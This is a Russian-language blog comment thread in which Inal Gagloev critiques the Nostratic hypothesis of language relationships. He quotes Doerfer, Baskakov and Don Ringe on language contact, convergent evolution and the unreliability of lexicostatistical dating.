* Во-первых, избыток совпадающих слов сам по себе совсем еще не доказывает родства языков. Например, лексика классического османско-турецкого языка чуть ли не на 90% состояла из персидских слов (которые, в свою очередь, часто восходят к арабскому первоисточнику), и, тем не менее, это тюркский язык, а не индоевропейский. Вопрос доказательства родства языков по существу является не количественным, но качественным. Во-вторых, при помощи компаративистического метода звуковые корреспонденции могут быть установлены не только для изначально родственных слов, но также и для заимствований. Например, для персидских заимствований в турецком можно привести точные звуковые соответствия (в том числе χ > h, а > а, а > е и т. д.). Один только Л. Г. Герценберг мог бы «молчаливо предположить» здесь языковое родство. (c) Г. Дёрфер (Гёттинген). Можно ли проблему родства алтайских языков разрешить с позиций индоевропеистики? // Вопросы языкознания. — М., 1972

Я уже обращал внимание, на каком уровне доказал генетическое родство уральского и индо-европейского Боян Чоп. В его работах показана связь на морфологическом и морфонологическом уровне, это тот уровень, где большие совпадения однозначно свидетельствуют за генетическое родство. Естественно требовать таких условий для борейского языка (в духе Г. Флеминга или С. Старостина) невозможно, но в случае гипотетических семей более низкого уровня, каковыми является алтайская, ностратическая или евразийская семьи, это вполне допустимо и необходимо, если мы не хотим создавать фантастических лингвистических чудовищ.

И наконец-то сотрудничество с археологами и историками. Ваш отец — С. Старостин -говорил об этом, также упоминая генетиков. В случае датировок древних гипотетических языковых семей может быть использована палеолингвистика и данные от сторонних дисциплин, но ни в коем случае не лексикостатистика. На таком уровне её выводам нет доверия.

P.S.

[*] В принципе за генетическое родство тюркского и монгольского, а также их общее аллогенетическое родство с тунгусо-манжурским де-факто постулировали и сторонники алтайской семьи:
* Обратимся к конкретному материалу, который собран алтаистами и, который, по нашему мнению, убедительно доказывает родство алтайских языков и в первую очередь — тюркских и монгольских. Подводя итоги своего исследования алтайских языков, В. Л. Котвич пришел к выводам о том, что общий фонд схождений между монгольскими и тюркскими языками равен в морфологии около 50%, в лексике — 25%, а между тунгусо-маньчжурскими, с одной стороны, и тюркскими и монгольскими, с другой,— 10% в лексике и около 5% в морфологии [3]. Высокий процент морфологических схождений между монгольскими и тюркскими языками, охватывающих почти половину всех грамматических форм и явлений, и меньший процент лексических схождений убедительно доказывают близость этих языков, причем близость, характеризующую генетическое их единство, поскольку наиболее проницаемым уровнем во взаимодействии неродственных языков является не морфология, а лексика: при взаимодействии неродственных языков между собой в первую очередь изменяется не грамматический строй каждого из языков, а их словарный состав. Явственно выраженная грамматическая близость тюркских и монгольских языков (в большей степени, чем общее количество лексических схождений в тех же языках) позволяет предполагать в отношении их не постепенный процесс типологического схождения этих языков, а обратный процесс постепенного расхождения некогда близко-родственных языков. (c) Н.А. Баскаков (Москва). Ареальная консолидация древнейших наречий и генетическое родство алтайских языков // Вопросы языкознания. — М., 1970, № 4.

Автор: Inal Gagloev

Inal Gagloev — Sat, 14 Nov 2015 20:10:26 +0000

В продолжение сказанного…

Автор текста, ув. Г. Старостин совершенно верно подчеркнул тот факт, что ностратика — это не второе название для макрокомпаративистики. В действительности, ностратика — это теория, которую не интересуют история носителей языков т.е. не интересует исторический аспект в сравнительно-исторической лингвистике. Совершенно аналогично с гипотезой евразийских языков Гринберга, которую лингвистический мейнстрим также аналогично игнорирует и жестко критикует наравне с ностратикой.

Вот сколько раз Гринбергу и ностратистам писали о том, что многие сходства могут быть проявлением конвергентной эволюции и/или языковых контактов. Писали много. Г. Старостин говорит о раннем выделение картвельского и дравидийского, но простите — это не более чем интерпретация. Значительно более правильно будет говорить о древних языковых контактах на уровне пра- или прото- языков (предложение Г. Дёрфера). Почему это сценарий сразу же исключен? Почему он игнорируется? Почему вывод идет не от данных, а от подхода, где языковых контактов на уровне пра- или прото- языков нет в приципе? И Вы еще удивляетесь тому, что мейнстрим игнорирует ностратику? Мне кажется удивляться соврешенно нечему.

Более того, как считал уралист В. Напольский мы должны учитывать существование в древности множества пара-языков:

* «мы должны иметь в виду значительное количество параязыков – существовавших в древности, но не только не сохранившихся до наших дней, но и практически никак нами не зафиксированных» [цитата по Романчук 2013].

Тот же этрусский язык Фредерик Вудхейзен рассматривал, как древнейшую ветвь индо-европейских языков, а Уоррен Коугилл говорил о хеттском, как о сестринской группе по отношению к индо-европейской. И даже не важно правы они или нет, но несомненно, что в пре-историческое время было не малое количество пара-языков, которые мигрировали, вступали в языковые контакты, долговременные языковые союзы и что в конечном счете могло заканчиваться ассимиляцией и креолизацией.

Где это все в ностратической теории?

Автор: Inal Gagloev

Inal Gagloev — Fri, 13 Nov 2015 21:28:57 +0000

Позволю себе критику.

Проблемы ностратики значительны. Во-первых это полное игнорирование истории носителей языков, точнее — их преисторических миграций на огромные расстояния, которые часто приводили к долгим языковым контактам и/или ассимилирующей креолизации. В свое время Г. Дёрфер говорил о пра-языковых языковых союзах для объяснения близости тюрского и монгольского. Но, пусть даже тюрский и монгольский будут генетически родственным, почему его объяснение не может быть применено к, скажем, тунгусо-манжурскому? Очень даже может. И как Вы прекрасно знаете Александр Вовин совсем недавно доказал генетическую неродственность японского и корейского. Т.е. даже внутри гипотетической алтайской семьи что-то может иметь генетическое родство, а что-то аллогенетическое (вторичное, приобретенное) родство.

О методах. Боян Чоп выделил более 150 общих индо-уральских суффиксальных, индо-уральские соответствия на уровне морфемных комплексов, 30 общих индо-уральских этимологий числовых и падежных аффиксов, а также предложил реконструкцию индо-уральской именной акцентуации для которой выводимы парадигмы обоих языков-потомков. Может ли таким похвастаться ностратика? Я доверю Бояну Чопу, а вот ностратике — нет. И sapienti sat почему.

Далее о хронологии и переинтерпретации. Собственно разница между ностратической теорией и теорией борейского языка Флеминга в датировках. У Флеминга все нормально совпадает с распространением палеолетических культур в Евразии, у ностратистов необходимо постулировать существование единой общности (не только языковой) в промежуток 16 тыс лет назад, когда уже существовала масса различных палеолетических культур. Вот как Вы предлагает в это поверить? Откуда взята датировка? По лексикостатике, а значит это просто спекуляция чистой воды. На таком уровне выводам лексикостатики нет никакого доверия, принципиально — нет. У Флеменга датировка по археологии, это другое дело, другой разговор. Очевидно что эти носители единого языка тогда 30000 или 40000 лет назад говорили на одном языке, их неоднократные миграции и перегруппировки приводили к образованию более-менее устойчивых диалектных континуумов, которые в силу того, что в целом коммуникация была еще в определенной мере возможна формировали общую модель языка. Скажем индо-европейский связывают с уральским, уральский прочно с юкагирским и скорее всего можно постулировать существование индо-урало-юкагирского языка. Аналогичное и с другими группами. Все это ничем, ничем, ну ничем не хуже того, что постулирует ностратическая гипотеза.

Далее возможности конвергентной эволюции. Как пишет Don Ringe
* These straightforward facts are so unwelcome to some researchers that they simply deny that there is anything problematic about “long-distance” reconstruction, or assert that there is an easy way around the problems. The following paragraphs will examine and critique a variety of attempts to pursue long-range comparison. Probably the oldest response to the problem of chance resemblances is to deny that words and affixes of different languages resemble one another both in sound and in meaning by chance with any appreciable frequency; that is the de facto response of the older “Nostraticists” (Vladimir Illich-Svitych, Vitalij Shevoroshkin, Igor Diakonoff, Sergei Starostin, etc.), since they have conspicuously avoided addressing the problem. But in fact it is easy to find chance resemblances between languages whose histories are well enough known to prove that the resemblances are fortuitous. For instance, Spanish mucho and English much, which both resemble and translate each other, are historically unconnected; the former is the regular sound-change outcome of Latin multum, which shares a root *mel- with Latin melior ‘better’, while much is an abbreviated form of southern Middle English muchel ‘big’ < OE mi ̇cel < PGmc. *mikilaz (cf. Goth. mikils), a suffixed derivative of Proto-Indo-European *meg- ‘big’ (cf. Greek /megas/). It can be seen that the ancestors of these two words resemble each other less in form and in meaning than the modern words do; mucho and much are an example of convergent evolution. Nor is that all. In the same way it can be shown that Spanish haber (the auxiliary verb) has nothing to do historically with English have; that dıa has nothing to do with day; that bola has nothing to do with ball; and so on. Convergent evolution is in fact quite common, and the result is that chance resemblances between words appear wherever we look. (с) Historical Linguistics: Toward a Twenty-First Century Reintegration» (Cambridge: Cambridge University Press, 2013)

Ностратика не убеждает именно потому, что пока что есть масса других способов как можно объяснить родство языков. И их можно даже суммировать вместе, как реалестический сценарий, который и имел место быть: Борейский (в духе Флеминга) + миграции и пра-языковые контакты/креолизации + конвергентация эволюция.